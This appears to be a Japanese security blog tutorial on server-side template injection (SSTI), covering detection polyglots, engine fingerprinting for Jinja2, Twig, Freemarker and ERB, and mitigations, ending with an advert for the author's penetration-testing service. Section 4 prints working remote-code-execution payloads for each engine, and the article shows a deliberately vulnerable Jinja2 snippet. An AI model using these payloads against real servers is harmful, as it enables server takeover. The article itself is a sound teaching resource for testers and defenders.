メインコンテンツへスキップ
友田 陽大
実践Webハッキング技法
セキュリティ
ホワイトハッカー
SSTI
脆弱性診断
Webセキュリティ

SSTI(サーバーサイドテンプレートインジェクション)の完全攻略【2026】検出・エンジン特定・RCE — 公式ドキュメント忠実版

サーバーサイドテンプレートインジェクション(SSTI)の攻撃手法を、PortSwigger Web Security Academyに忠実に深掘り。脆弱性が生まれる原因、検出(ポリグロット ${{<%[%'"}}%\ と数式評価)、テンプレートエンジンの特定(Jinja2/Twig/Freemarker/ERB)、情報漏洩からファイル読取・リモートコード実行(RCE)への悪用、そして『ユーザー入力をテンプレートにしない』『ロジックレスエンジン・サンドボックス』による根本対策までを、自分のラボ限定の実例で解説します。

公開日
読了時間
6分
著者
友田 陽大
シェア

SSTI(サーバーサイドテンプレートインジェクション)は、Webアプリ脆弱性の中でも最も影響が大きいクラスの一つです。PortSwigger の定義通り「攻撃者がテンプレートのネイティブ構文で悪意あるペイロードを注入し、それがサーバー側で実行される」もので、しばしばリモートコード実行(RCE)——つまりサーバー乗っ取りに直結します。本記事は、その攻撃手法を公式に忠実に解説します。

絶対の前提: SSTIは容易にRCEへ至るため、極めて侵襲的です。実行は 合法ラボ または書面で許可されたスコープでのみ。本番でのRCE実証は影響が甚大なので、許可範囲と手順を依頼者と事前合意すること(→ 法律ガイド)。地図は ピラー


1. SSTIの本質 — 入力を「コード」として連結する

テンプレートエンジン(Jinja2, Twig, Freemarker, ERB…)は、{{ name }} のようなプレースホルダを実データに差し替えてHTMLを生成します。問題は、ユーザー入力そのものをテンプレート文字列に連結してしまうとき。

# ❌ 脆弱:ユーザー入力 name をテンプレート「コード」に連結している(Jinja2)
from jinja2 import Template
output = Template("Dear " + request.args["name"]).render()
#                            └─ ここに {{7*7}} を入れると、サーバーが評価する

# ✅ 安全:入力は「データ」としてレンダ変数で渡す(テンプレートは固定)
output = Template("Dear {{ name }}").render(name=request.args["name"])

上の脆弱な例に name={{7*7}} を渡すと、出力は Dear 49サーバー上でコードが評価された証拠です。


2. 検出 — ポリグロットと数式評価

PortSwigger の方法論は 検出 → エンジン特定 → 悪用 の3段。まず検出です。

2.1 ポリグロットで「壊す」

複数エンジンの特殊文字を一度に含むポリグロットを投げ、エラーや異常応答を観測します。

${{<%[%'"}}%\

これでエラー(例外・スタックトレース・500)が出れば、テンプレート処理に届いている可能性が高い。

2.2 文脈で数式を評価させる

PortSwigger は2つの文脈を区別します。

  • プレーンテキスト文脈:出力にそのまま埋まる。${7*7}{{7*7}} を入れ、49 が返れば確定
  • コード文脈:既存の式の中に入る(例 greeting=data.name)。まず式を閉じてから注入する(}}" でブレイクアウト)。
# プレーンテキスト文脈
{{7*7}}     → 49 なら Jinja2/Twig 系
${7*7}      → 49 なら Freemarker/一部エンジン
<%= 7*7 %>  → 49 なら ERB(Ruby)
#{7*7}      → 49 なら 一部エンジン

3. エンジン特定 — 悪用ペイロードはエンジン依存

どのエンジンかで悪用方法が全く違うため、特定が悪用の鍵です。{{7*7}}${7*7} の効き方、エラーメッセージの文言、エンジン固有構文で切り分けます。

# 切り分けの例
{{7*7}} が 49、{{7*'7'}} が 7777777 → Jinja2(Python)
{{7*7}} が 49、{{7*'7'}} が 49        → Twig(PHP)
${7*7} が 49                          → Freemarker(Java) / 一部
<%= 7*7 %> が 49                      → ERB(Ruby)

エラーメッセージにライブラリ名(jinja2, Twig\Error 等)が出れば一発で特定できます。


4. 悪用 — 情報漏洩からRCEへ

4.1 Jinja2(Python)— オブジェクトグラフを辿る

Jinja2では、組み込みオブジェクトからサブクラスを辿って危険な関数(os.popen 等)へ到達します。

# 設定値や環境を覗く(情報漏洩)
{{ config }}
{{ config.items() }}

# RCEへ:サブクラス経由で OS コマンドを実行する古典的経路(概念・lab限定)
{{ ''.__class__.__mro__[1].__subclasses__() }}   # 利用可能なクラスを列挙
{{ cycler.__init__.__globals__.os.popen('id').read() }}   # コマンド実行

4.2 ERB(Ruby)/ Freemarker(Java)/ Twig(PHP)

# ERB(Ruby):素直にシステムコマンドを書ける
<%= system("id") %>
<%= `id` %>

# Freemarker(Java):実行系オブジェクトを生成
<#assign ex="freemarker.template.utility.Execute"?new()>${ ex("id") }

# Twig(PHP):フィルタ経由で関数呼び出し
{{ ['id'] | filter('system') }}

重要な視点: SSTIは一見「数式が評価されるだけ」に見えても、サーバー上で任意コードが走る点でXSSとは影響の桁が違います。{{7*7}}=49 を見た瞬間に「これはRCEになり得る」と判断するのがプロです。


5. 【守る側】根本対策

PortSwigger と OWASP の結論は明快です。

# ✅ 最大の対策:ユーザー入力を「テンプレート」にしない。常に「データ」で渡す
template = env.get_template("greeting.html")   # テンプレートは固定の信頼済みファイル
html = template.render(name=user_input)        # 入力は変数として注入されるだけ(安全)

設計原則:

  • ユーザー入力をテンプレート文字列に連結しない(最重要)。入力は必ずレンダ変数=データとして渡す。
  • ユーザーにテンプレート編集を許さない。どうしても必要なら:
    • ロジックレスエンジンMustache 等)を使い、任意コード評価の余地を断つ。
    • サンドボックス化(信頼できないテンプレートを隔離環境で評価)。ただしサンドボックス脱出の研究もあるため過信しない。
    • 最小権限コンテナで隔離し、RCEが起きても被害を封じ込める。
  • 多層防御:WAF・出力の監視・最小権限のプロセス実行。これらは「設計の代わり」ではなく保険。

SSTIは「機能としてテンプレートをユーザーに開放する」設計判断(メール文面のカスタマイズ等)と表裏一体です。**その機能が本当に必要か(YAGNI)**から問い直すのが、最も確実な防御になります。脅威モデリングで設計段階に潰す方法は STRIDE脅威モデリングガイド を参照。


6. まとめ

  • 本質:ユーザー入力をテンプレートの「コード」として連結すると、サーバーでコードが評価される。
  • 検出:ポリグロット ${{<%[%'"}}%\ → 数式 {{7*7}}/${7*7}49 なら確定。
  • エンジン特定が鍵{{7*'7'}} 等で Jinja2/Twig/Freemarker/ERB を切り分ける。
  • 悪用:オブジェクトグラフを辿りRCEへ。XSSと違いサーバー実行=影響甚大。
  • 根本対策:入力をテンプレートにしない。必要ならロジックレス・サンドボックス・最小権限隔離。

これで本クラスタの主要な攻撃手法は一通りです。攻撃の理解を防御設計へ昇華させる流れは ピラー に戻って俯瞰し、実戦は バグバウンティ で合法に磨いてください。


参考(公式一次情報)

友田

友田 陽大

経済産業大臣賞 受賞プロダクト開発者。TypeScript + Python + AWS で、SaaS・業界DX・ 実用レベルの生成AI(RAG)を、要件定義からインフラ・運用まで一人で完遂します。

この攻撃、あなたのアプリで再現されたら?

Webアプリの脆弱性診断・ペネトレーションテストを承ります

この記事で扱った SQLi・XSS・SSRF・JWT・認証・SSTI といった攻撃を、あなたのアプリで実際に再現・診断し、設計から修正するところまで承ります。攻撃の手筋を知る者だけが、設計段階で『どこが破れるか』を先回りで潰せます。まず無料OSSで現状を可視化してからでも構いません。

プロジェクト単位(請負)・技術顧問のどちらにも対応可能です。まずは30分の無料技術相談から。

あわせて読みたい